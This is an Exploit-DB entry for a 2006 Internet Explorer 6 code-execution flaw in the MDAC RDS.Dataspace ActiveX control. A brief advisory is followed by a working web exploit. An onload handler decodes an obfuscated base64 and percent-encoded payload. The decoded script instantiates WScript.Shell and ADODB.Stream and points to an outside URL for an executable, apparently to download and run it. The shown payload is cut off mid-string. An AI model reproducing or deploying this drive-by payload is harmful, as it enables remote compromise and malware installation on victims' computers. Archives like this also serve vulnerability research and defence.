Exploit-DB #28876
Description: Microsoft Internet Explorer 6 - Code Execution (1)
Type: remote
Platform: windows
Date: 2006-10-30
Author: Michal Bucko

Exploit:
source: https://www.securityfocus.com/bid/20797/info

Microsoft Internet Explorer is prone to an unspecified vulnerability that results in arbitrary code execution.

Successfully exploiting this issue allows remote attackers to execute arbitrary machine code in the context of the vulnerable application. This facilitates the remote compromise of affected computers.

Internet Explorer 6 is vulnerable to this issue; other versions may also be affected.

An exploit for this issue is reportedly in the wild.

Further investigation reveals this issue was previously discussed in BID 17462 (Microsoft MDAC RDS.Dataspace ActiveX Control Remote Code Execution Vulnerability) and is therefore being retired.

<script language="javascript"> var alfabet='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz[PII_REDACTED]+/='; function funkcja(arg) { var a1='', a2, a3, a4, a5, a6, a7, a8, a9=0; arg=arg.replace(/[^A-Za-z0-9\+\/\=]/g, ''); do { a5=alfabet.indexOf(arg.charAt(a9++)); a6=alfabet.indexOf(arg.charAt(a9++)); a7=alfabet.indexOf(arg.charAt(a9++)); a8=alfabet.indexOf(arg.charAt(a9++)); a2=(a5 << 2) | (a6 >> 4); some_shit=((a6 & 15) << 4) | (a7 >> 2); a4=((a7 & 3) << 6) | a8; a1=a1+String.fromCharCode(a2); if (a7!=64) a1=a1+String.fromCharCode(some_shit); if (a8!=64) a1=a1+String.fromCharCode(a4); } while (a9<arg.length); alert(a1); } </script> <body onload="funkcja('ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU2OCU3NCU2ZCU2YyUzZSUzYyU2OCU2NSU2MSU2NCUzZSUzYyU3NCU2OSU3NCU2YyU2NSUzZSUzYyUyZiU3NCU2OSU3NCU2YyU2NSUzZScpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU2YyU2MSU2ZSU2NyU3NSU2MSU2NyU2NSUzZCUyMiU2YSU2MSU3NiU2MSU3MyU2MyU3MiU2OSU3MCU3NCUyMiUzZScpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyU2NiU3NSU2ZSU2MyU3NCU2OSU2ZiU2ZSUyMCU0YyU2ZiU2NyUyOCU2ZCUyOSUyMCU3YicpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU3NiU2MSU3MiUyMCU2YyU2ZiU2NyUyMCUzZCUyMCU2NCU2ZiU2MyU3NSU2ZCU2NSU2ZSU3NCUyZSU2MyU3MiU2NSU2MSU3NCU2NSU0NSU2YyU2NSU2ZCU2NSU2ZSU3NCUyOCUyNyU3MCUyNyUyOSUzYicpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU2YyU2ZiU2NyUyZSU2OSU2ZSU2ZSU2NSU3MiU0OCU1NCU0ZCU0YyUyMCUzZCUyMCU2ZCUzYicpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyU3ZCcpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyU2NiU3NSU2ZSU2MyU3NCU2OSU2ZiU2ZSUyMCU0MyU3MiU2NSU2MSU3NCU2NSU0ZiUyOCU2ZiUyYyUyMCU2ZSUyOSUyMCU3YicpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU3NiU2MSU3MiUyMCU3MiUyMCUzZCUyMCU2ZSU3NSU2YyU2YyUzYicpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOScpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU3NCU3MiU3OSUyMCU3YiUyMCU2NSU3NiU2MSU2YyUyOCUyNyU3MiUyMCUzZCUyMCU2ZiUyZSU0MyU3MiU2NSU2MSU3NCU2NSU0ZiU2MiU2YSU2NSU2MyU3NCUyOCU2ZSUyOSUyNyUyOSUyMCU3ZCU2MyU2MSU3NCU2MyU2OCUyOCU2NSUyOSU3YiU3ZCcpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOScpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU2OSU2NiUyMCUyOCUyMSUyMCU3MiUyOSUyMCU3YicpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSUwOSU3NCU3MiU3OSUyMCU3YiUyMCU2NSU3NiU2MSU2YyUyOCUyNyU3MiUyMCUzZCUyMCU2ZiUyZSU0MyU3MiU2NSU2MSU3NCU2NSU0ZiU2MiU2YSU2NSU2MyU3NCUyOCU2ZSUyYyUyMCUyMiUyMiUyOSUyNyUyOSUyMCU3ZCU2MyU2MSU3NCU2MyU2OCUyOCU2NSUyOSU3YiU3ZCcpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU3ZCcpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOScpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU2OSU2NiUyMCUyOCUyMSUyMCU3MiUyOSUyMCU3YicpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSUwOSU3NCU3MiU3OSUyMCU3YiUyMCU2NSU3NiU2MSU2YyUyOCUyNyU3MiUyMCUzZCUyMCU2ZiUyZSU0MyU3MiU2NSU2MSU3NCU2NSU0ZiU2MiU2YSU2NSU2MyU3NCUyOCU2ZSUyYyUyMCUyMiUyMiUyYyUyMCUyMiUyMiUyOSUyNyUyOSUyMCU3ZCU2MyU2MSU3NCU2MyU2OCUyOCU2NSUyOSU3YiU3ZCcpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU3ZCcpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU2OSU2NiUyMCUyOCUyMSUyMCU3MiUyOSUyMCU3YicpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSUwOSU3NCU3MiU3OSUyMCU3YiUyMCU2NSU3NiU2MSU2YyUyOCUyNyU3MiUyMCUzZCUyMCU2ZiUyZSU0NyU2NSU3NCU0ZiU2MiU2YSU2NSU2MyU3NCUyOCUyMiUyMiUyYyUyMCU2ZSUyOSUyNyUyOSUyMCU3ZCU2MyU2MSU3NCU2MyU2OCUyOCU2NSUyOSU3YiU3ZCcpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU3ZCcpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOScpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU2OSU2NiUyMCUyOCUyMSUyMCU3MiUyOSUyMCU3YicpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSUwOSU3NCU3MiU3OSUyMCU3YiUyMCU2NSU3NiU2MSU2YyUyOCUyNyU3MiUyMCUzZCUyMCU2ZiUyZSU0NyU2NSU3NCU0ZiU2MiU2YSU2NSU2MyU3NCUyOCU2ZSUyYyUyMCUyMiUyMiUyOSUyNyUyOSUyMCU3ZCU2MyU2MSU3NCU2MyU2OCUyOCU2NSUyOSU3YiU3ZCcpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU3ZCcpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOScpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU2OSU2NiUyMCUyOCUyMSUyMCU3MiUyOSUyMCU3YicpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSUwOSU3NCU3MiU3OSUyMCU3YiUyMCU2NSU3NiU2MSU2YyUyOCUyNyU3MiUyMCUzZCUyMCU2ZiUyZSU0NyU2NSU3NCU0ZiU2MiU2YSU2NSU2MyU3NCUyOCU2ZSUyOSUyNyUyOSUyMCU3ZCU2MyU2MSU3NCU2MyU2OCUyOCU2NSUyOSU3YiU3ZCcpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU3ZCcpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOScpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU3MiU2NSU3NCU3NSU3MiU2ZSUyOCU3MiUyOSUzYiUwOScpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyU3ZCcpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyU2NiU3NSU2ZSU2MyU3NCU2OSU2ZiU2ZSUyMCU0NyU2ZiUyOCU2MSUyOSUyMCU3YicpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU0YyU2ZiU2NyUyOCUyNyUyNiU2ZSU2MiU3MyU3MCUzYiUyNyUyOSUzYicpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU3NiU2MSU3MiUyMCU3MyUyMCUzZCUyMCU0MyU3MiU2NSU2MSU3NCU2NSU0ZiUyOCU2MSUyYyUyMCUyMiU1NyU1MyU2MyU3MiU2OSU3MCU3NCUyZSU1MyU2OCU2NSU2YyU2YyUyMiUyOSUzYicpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU3NiU2MSU3MiUyMCU2ZiUyMCUzZCUyMCU0MyU3MiU2NSU2MSU3NCU2NSU0ZiUyOCU2MSUyYyUyMCUyMiU0MSU0NCU0ZiU0NCU0MiUyZSU1MyU3NCU3MiU2NSU2MSU2ZCUyMiUyOSUzYicpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU3NiU2MSU3MiUyMCU2NSUyMCUzZCUyMCU3MyUyZSU0NSU2ZSU3NiU2OSU3MiU2ZiU2ZSU2ZCU2NSU2ZSU3NCUyOCUyMiU1MCU3MiU2ZiU2MyU2NSU3MyU3MyUyMiUyOSUzYicpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOScpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU0YyU2ZiU2NyUyOCUyNyUyNiU2ZSU2MiU3MyU3MCUzYiUyNyUyOSUzYicpKTsKZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUwOSU3NiU2MSU3MiUyMCU3NSU3MiU2YyUyMCUzZCUyMCUyMiU2OCU3NCU3NCU3MCUzYSUyZiUyZiU3NyU3NyU3NyUyZSU2MSU3MiU3NSU2ZSU2MSU2YyU3NSUyZSU2ZSU2NSU3NCUyZiU3NyU2OSU2ZSUzMyUzMiUyZSU2NSU3